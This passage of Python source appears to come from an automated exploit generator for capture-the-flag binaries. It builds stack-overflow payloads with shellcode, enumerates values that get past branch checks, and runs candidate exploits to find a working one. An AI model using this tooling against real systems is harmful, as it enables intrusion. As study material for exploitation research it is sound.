payload_parts.ret_address = [-stack_vuln.overwriteable_vars[0], "stack"]
parts = []
shellcode_part = Part()
shellcode_part.type = bytes
shellcode_part.region = None
shellcode_part.offset = stack_vuln.overwriteable_vars[0]
shellcode_part.value = data
parts.append(shellcode_part)
payload_parts.parts = parts
return payload_parts
'''
+-----------------------------------------------------------+
| Branch Analysis Stuff |
+-----------------------------------------------------------+
'''
CMP_PCODES_MAPPING = {'callind': 8, 'equal': 11, 'notequal': 12, 'sless': 13, 'slessequal': 14, 'less': 15, 'lessequal': 16}
def check_pass_value(check):
check_type = check["branchType"]
should_pass = check["desiredOutcome"]
if check_type == CMP_PCODES_MAPPING['equal']:
if should_pass == 0:
return True
elif should_pass == 1:
return False
elif should_pass == 2:
return True
elif check_type == CMP_PCODES_MAPPING['notequal']:
if should_pass == 0:
return False
elif should_pass == 1:
return True
elif should_pass == 2:
return False
elif (check_type == CMP_PCODES_MAPPING['sless']) or (check_type == CMP_PCODES_MAPPING['slessequal']) or (check_type == CMP_PCODES_MAPPING['less']) or (check_type == CMP_PCODES_MAPPING['lessequal']):
if should_pass == 0:
return True
elif should_pass == 1:
return False
elif should_pass == 2:
return True
elif check_type == "set":
return True
def get_wrong_value(check):
value = check["value"]
check_type = check["branchType"]
if check_type == CMP_PCODES_MAPPING['equal']:
return value + 1
elif check_type == CMP_PCODES_MAPPING['notequal']:
#return value + 1
return value
elif check_type == CMP_PCODES_MAPPING["sless"]:
return value - 1
elif check_type == CMP_PCODES_MAPPING["slessequal"]:
return value - 1
elif check_type == CMP_PCODES_MAPPING["less"]:
return value + 1
elif check_type == CMP_PCODES_MAPPING["lessequal"]:
return value + 1
def check_0_checks(checks):
ret_checks = []
for check in checks:
if check["stackOffset"] > 0:
ret_checks.append(check)
return ret_checks
def get_pass_value(check):
check_type = check["branchType"]
check_val = check["value"]
if check_type == "set":
return check_val
elif (check_type == CMP_PCODES_MAPPING["equal"]):
return check_val
elif (check_type == CMP_PCODES_MAPPING["notequal"]):
return check_val + 1
elif (check_type == CMP_PCODES_MAPPING["sless"]) or (check_type == CMP_PCODES_MAPPING["slessequal"]):
return check_val + 1
elif (check_type == CMP_PCODES_MAPPING["less"]) or (check_type == CMP_PCODES_MAPPING["lessequal"]):
return check_val - 1
def get_fail_value(check):
check_type = check["branchType"]
check_val = check["value"]
if check_type == "set":
return check_val
elif (check_type == CMP_PCODES_MAPPING["equal"]):
return check_val + 1
elif (check_type == CMP_PCODES_MAPPING["notequal"]):
return check_val
elif (check_type == CMP_PCODES_MAPPING["sless"]) or (check_type == CMP_PCODES_MAPPING["slessequal"]):
return check_val - 1
elif (check_type == CMP_PCODES_MAPPING["less"]) or (check_type == CMP_PCODES_MAPPING["lessequal"]):
return check_val + 1
def scale_num(x):
return int(math.pow(2, x))
def get_check_permutation_value(totalPermutations, permutation, check_values):
x = permutation
true_checks = {}
for i in range(len(check_values) - 1, -1, -1):
y = scale_num(i)
if (y <= x):
true_checks[i] = True
x = x - y
else:
true_checks[i] = False
current_check_values = []
for i in range(0, len(check_values)):
currentCheck =check_values[i]
next_value = Part()
if true_checks[i] == True:
next_value.value = currentCheck["pass"]
else:
next_value.value = currentCheck["fail"]
next_value.size = currentCheck["size"]
next_value.offset = currentCheck["offset"]
next_value.type = int
current_check_values.append(next_value)
return current_check_values
def get_repeated_offsets(check_values):
used_offsets = []
repeated_offsets = []
for check in check_values:
check_offset = check["stackOffset"]
if check_offset not in used_offsets:
used_offsets.append(check_offset)
else:
repeated_offsets.append(check_offset)
return repeated_offsets
def get_repeated_checks(checks, repeated_offsets):
repeated_checks = {}
for offset in repeated_offsets:
repeated_checks[offset] = []
for check in checks:
check_offset = check["stackOffset"]
if check_offset in repeated_offsets:
repeated_checks[check_offset].append(check)
repeated_check_count = 1
for i in repeated_checks.values():
repeated_check_count = repeated_check_count * len(i)
return repeated_checks, repeated_check_count
def replace_repeated_checks(checks, repeated_checks, checkIteration, repeated_check_count):
divisor = 1
index = 0
checks = []
for i in repeated_checks.values():
index = int((checkIteration / divisor)) % len(i)
checks.append(i[index])
divisor = divisor * len(i)
return checks
def strip_checks(checks, offsets):
returned_checks = []
for check in checks:
check_offset = check["stackOffset"]
if check_offset not in offsets:
returned_checks.append(check)
return returned_checks
def insert_checks(checks, iteration_checks):
for iteration_check in iteration_checks:
checks.append(iteration_check)
return checks
def get_cmp_values(checks):
check_values = []
for i in range(0, len(checks)):
cmp_values = {}
cmp_values["pass"] = get_pass_value(checks[i])
cmp_values["fail"] = get_fail_value(checks[i])
cmp_values["size"] = checks[i]["size"]
cmp_values["offset"] = checks[i]["stackOffset"]
check_values.append(cmp_values)
return check_values
def get_check_values(checks):
repeated_offsets = get_repeated_offsets(checks)
if len(repeated_offsets) == 0:
check_values = get_cmp_values(checks)
return [check_values]
else:
repeated_checks, repeated_check_count = get_repeated_checks(checks, repeated_offsets)
workingChecks = checks
check_values = []
for i in range(0, repeated_check_count):
iteration_checks = replace_repeated_checks(checks, repeated_checks, i, repeated_check_count)
workingChecks = strip_checks(workingChecks, repeated_offsets)
workingChecks = insert_checks(workingChecks, iteration_checks)
check_values.append(get_cmp_values(workingChecks))
return check_values
def get_check_permutations(check_valueList):
check_permutations = []
for check_values in check_valueList:
permutations = int(math.pow(2, len(check_values)))
for i in range(0, permutations):
current_check_values = get_check_permutation_value(permutations, i, check_values)
check_permutations.append(current_check_values)
return check_permutations
def get_payload_permutations(stackVuln, arch):
checks = stackVuln.checks
check_values = get_check_values(checks)
check_permutations = get_check_permutations(check_values)
payloads = []
return check_permutations
'''
+-----------------------------------------------------------+
| Exploit verification |
+-----------------------------------------------------------+
'''
def libc_verify_exploit(exploits, libc, elf_name, ip_port):
if os.path.exists("pwned"):
os.remove("pwned")
for exploit in exploits:
if "chall-test" in exploit:
continue
if os.path.exists(exploit):
print("Testing exploit")
os.system("python3 %s" % exploit)
if os.path.exists("pwned"):
os.remove("pwned")
libc_solidify_exploit(exploit, libc, elf_name, ip_port)
return True
else:
print("Exploit writing errors")
else:
return False
def finalize_libc_exploit(exploit_name):
verified_exploit = open("%s" % (exploit_name), "r")
final_exploit_name = "exploit.py"
final_exploit = open(final_exploit_name, "w")
for line in verified_exploit:
if "78965412" in line:
break
final_exploit.write(line)
final_exploit.write("target.interactive()")
final_exploit.close()
shutil.copyfile(final_exploit_name, "../../%s" % final_exploit_name)
print("Exploit Successful: %s" % exploit_name)
sys.exit(0)